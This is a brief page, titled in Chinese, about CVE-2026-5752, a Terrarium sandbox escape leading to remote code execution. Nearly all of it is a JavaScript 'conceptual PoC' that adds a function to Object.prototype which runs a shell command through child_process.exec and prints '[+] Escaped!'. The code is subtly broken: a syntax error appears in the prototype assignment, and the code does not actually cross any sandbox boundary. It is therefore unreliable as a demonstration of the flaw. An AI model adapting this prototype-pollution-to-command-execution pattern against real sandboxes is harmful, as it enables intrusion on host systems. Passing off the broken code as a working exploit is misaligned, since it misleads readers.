CVE-2026-5752 Terrarium沙箱逃逸致RCE漏洞

// Conceptual PoC for Prototype Chain Traversal Sandbox Escape // This is a demonstration of the technique used in CVE-2026-5752 function exploit() { // Attempt to access the constructor of a vulnerable object const maliciousObject = {}; // Modify the prototype to inject malicious behavior // or access properties outside the sandbox Object.prototype maliciousProperty = function() { // Simulating code execution on host process require('child_process').exec('id', (error, stdout, stderr) => { if (stdout) console.log(`[+] Escaped! Running as: ${stdout}`); }); }; // Trigger the vulnerability maliciousObject.maliciousProperty(); } exploit();